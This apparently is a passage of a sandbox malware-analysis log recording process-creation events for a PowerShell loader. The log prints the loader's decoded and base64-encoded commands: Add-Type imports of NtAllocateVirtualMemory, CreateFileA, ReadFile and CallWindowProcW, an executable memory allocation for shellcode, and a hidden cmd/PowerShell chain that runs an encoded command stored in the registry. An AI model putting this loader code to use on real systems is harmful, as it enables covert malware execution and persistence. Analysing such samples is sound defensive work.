Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded #brick Lillith Post8 Tactilesi RADICU Parrafoura Servbjer4 Buttwo8 ghent OMSK Songishmi3 CUPPERSDEX Srge9 Ingnu1 Kandelabr3 Saronic MIKEYNOTH NITRERIN TACK PIGPENB Betapart5 genioh Ugeskrif Beslagsm7 Nonpsych9 sensitiz Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public static class Sludrech1{[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Sludrech6,ref Int32 VERSALERN,int Forbistrin,ref Int32 Sludrech,int Refrman,int Sludrech7);[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Monstr,uint Melle8,int Nonpercep,int Sludrech0,int HABAN,int BAAN,int NRINGS);[DllImport("kernel32.dll")]public static extern int ReadFile(int Forbistrin0,uint Forbistrin1,IntPtr Forbistrin2,ref Int32 Forbistrin3,int Forbistrin4);[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr Forbistrin5,int Forbistrin6,int Forbistrin7,int Forbistrin8,int Forbistrin9);}"@#cisterci punkter Temu4 PATRONES Hestek UNREFO bekrans Pampr Genbru decer Crescent Thiasusi piltst Omsorgsce Prel6 barskabesn Metathe Televsnets6 Smals7 BOOSTERI mism PINS Tndehvl1 skriv Over unpropag Test-Path "Hild3" Test-Path "Pierid" $Sludrech3=0;$Sludrech9=1048576;$Sludrech8=[Sludrech1]::NtAllocateVirtualMemory(-1,[ref]$Sludrech3,0,[ref]$Sludrech9,12288,64)#sogne sang NYTVANC Rilletpro8 popular billedm lseproc constan Subte Ilsabet9 hulkynap bevrteren Sidevi Mast Ensom1 Underscale1 Trykker
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded #brick Lillith Post8 Tactilesi RADICU Parrafoura Servbjer4 Buttwo8 ghent OMSK Songishmi3 CUPPERSDEX Srge9 Ingnu1 Kandelabr3 Saronic MIKEYNOTH NITRERIN TACK PIGPENB Betapart5 genioh Ugeskrif Beslagsm7 Nonpsych9 sensitiz Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public static class Sludrech1{[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Sludrech6,ref Int32 VERSALERN,int Forbistrin,ref Int32 Sludrech,int Refrman,int Sludrech7);[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Monstr,uint Melle8,int Nonpercep,int Sludrech0,int HABAN,int BAAN,int NRINGS);[DllImport("kernel32.dll")]public static extern int ReadFile(int Forbistrin0,uint Forbistrin1,IntPtr Forbistrin2,ref Int32 Forbistrin3,int Forbistrin4);[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr Forbistrin5,int Forbistrin6,int Forbistrin7,int Forbistrin8,int Forbistrin9);}"@#cisterci punkter Temu4 PATRONES Hestek UNREFO bekrans Pampr Genbru decer Crescent Thiasusi piltst Omsorgsce Prel6 barskabesn Metathe Televsnets6 Smals7 BOOSTERI mism PINS Tndehvl1 skriv Over unpropag Test-Path "Hild3" Test-Path "Pierid" $Sludrech3=0;$Sludrech9=1048576;$Sludrech8=[Sludrech1]::NtAllocateVirtualMemory(-1,[ref]$Sludrech3,0,[ref]$Sludrech9,12288,64)#sogne sang NYTVANC Rilletpro8 popular billedm lseproc constan Subte Ilsabet9 hulkynap bevrteren Sidevi Mast Ensom1 Underscale1 Trykker
Source: C:\Windows\System32\wscript.exe	Process created: Base64 decoded #brick Lillith Post8 Tactilesi RADICU Parrafoura Servbjer4 Buttwo8 ghent OMSK Songishmi3 CUPPERSDEX Srge9 Ingnu1 Kandelabr3 Saronic MIKEYNOTH NITRERIN TACK PIGPENB Betapart5 genioh Ugeskrif Beslagsm7 Nonpsych9 sensitiz Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public static class Sludrech1{[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Sludrech6,ref Int32 VERSALERN,int Forbistrin,ref Int32 Sludrech,int Refrman,int Sludrech7);[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Monstr,uint Melle8,int Nonpercep,int Sludrech0,int HABAN,int BAAN,int NRINGS);[DllImport("kernel32.dll")]public static extern int ReadFile(int Forbistrin0,uint Forbistrin1,IntPtr Forbistrin2,ref Int32 Forbistrin3,int Forbistrin4);[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr Forbistrin5,int Forbistrin6,int Forbistrin7,int Forbistrin8,int Forbistrin9);}"@#cisterci punkter Temu4 PATRONES Hestek UNREFO bekrans Pampr Genbru decer Crescent Thiasusi piltst Omsorgsce Prel6 barskabesn Metathe Televsnets6 Smals7 BOOSTERI mism PINS Tndehvl1 skriv Over unpropag Test-Path "Hild3" Test-Path "Pierid" $Sludrech3=0;$Sludrech9=1048576;$Sludrech8=[Sludrech1]::NtAllocateVirtualMemory(-1,[ref]$Sludrech3,0,[ref]$Sludrech9,12288,64)#sogne sang NYTVANC Rilletpro8 popular billedm lseproc constan Subte Ilsabet9 hulkynap bevrteren Sidevi Mast Ensom1 Underscale1 Trykker	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded sv,K+9nZ)Jt^W{v,)^']zrh~
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded #brick Lillith Post8 Tactilesi RADICU Parrafoura Servbjer4 Buttwo8 ghent OMSK Songishmi3 CUPPERSDEX Srge9 Ingnu1 Kandelabr3 Saronic MIKEYNOTH NITRERIN TACK PIGPENB Betapart5 genioh Ugeskrif Beslagsm7 Nonpsych9 sensitiz Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public static class Sludrech1{[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Sludrech6,ref Int32 VERSALERN,int Forbistrin,ref Int32 Sludrech,int Refrman,int Sludrech7);[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Monstr,uint Melle8,int Nonpercep,int Sludrech0,int HABAN,int BAAN,int NRINGS);[DllImport("kernel32.dll")]public static extern int ReadFile(int Forbistrin0,uint Forbistrin1,IntPtr Forbistrin2,ref Int32 Forbistrin3,int Forbistrin4);[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr Forbistrin5,int Forbistrin6,int Forbistrin7,int Forbistrin8,int Forbistrin9);}"@#cisterci punkter Temu4 PATRONES Hestek UNREFO bekrans Pampr Genbru decer Crescent Thiasusi piltst Omsorgsce Prel6 barskabesn Metathe Televsnets6 Smals7 BOOSTERI mism PINS Tndehvl1 skriv Over unpropag Test-Path "Hild3" Test-Path "Pierid" $Sludrech3=0;$Sludrech9=1048576;$Sludrech8=[Sludrech1]::NtAllocateVirtualMemory(-1,[ref]$Sludrech3,0,[ref]$Sludrech9,12288,64)#sogne sang NYTVANC Rilletpro8 popular billedm lseproc constan Subte Ilsabet9 hulkynap bevrteren Sidevi Mast Ensom1 Underscale1 Trykker
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded sv,K+9nZ)Jt^W{v,)^']zrh~
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded #brick Lillith Post8 Tactilesi RADICU Parrafoura Servbjer4 Buttwo8 ghent OMSK Songishmi3 CUPPERSDEX Srge9 Ingnu1 Kandelabr3 Saronic MIKEYNOTH NITRERIN TACK PIGPENB Betapart5 genioh Ugeskrif Beslagsm7 Nonpsych9 sensitiz Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public static class Sludrech1{[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Sludrech6,ref Int32 VERSALERN,int Forbistrin,ref Int32 Sludrech,int Refrman,int Sludrech7);[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Monstr,uint Melle8,int Nonpercep,int Sludrech0,int HABAN,int BAAN,int NRINGS);[DllImport("kernel32.dll")]public static extern int ReadFile(int Forbistrin0,uint Forbistrin1,IntPtr Forbistrin2,ref Int32 Forbistrin3,int Forbistrin4);[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr Forbistrin5,int Forbistrin6,int Forbistrin7,int Forbistrin8,int Forbistrin9);}"@#cisterci punkter Temu4 PATRONES Hestek UNREFO bekrans Pampr Genbru decer Crescent Thiasusi piltst Omsorgsce Prel6 barskabesn Metathe Televsnets6 Smals7 BOOSTERI mism PINS Tndehvl1 skriv Over unpropag Test-Path "Hild3" Test-Path "Pierid" $Sludrech3=0;$Sludrech9=1048576;$Sludrech8=[Sludrech1]::NtAllocateVirtualMemory(-1,[ref]$Sludrech3,0,[ref]$Sludrech9,12288,64)#sogne sang NYTVANC Rilletpro8 popular billedm lseproc constan Subte Ilsabet9 hulkynap bevrteren Sidevi Mast Ensom1 Underscale1 Trykker

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAGkAYQBzAHUAcwBpACAAc
Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)
Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAG
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAG
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAH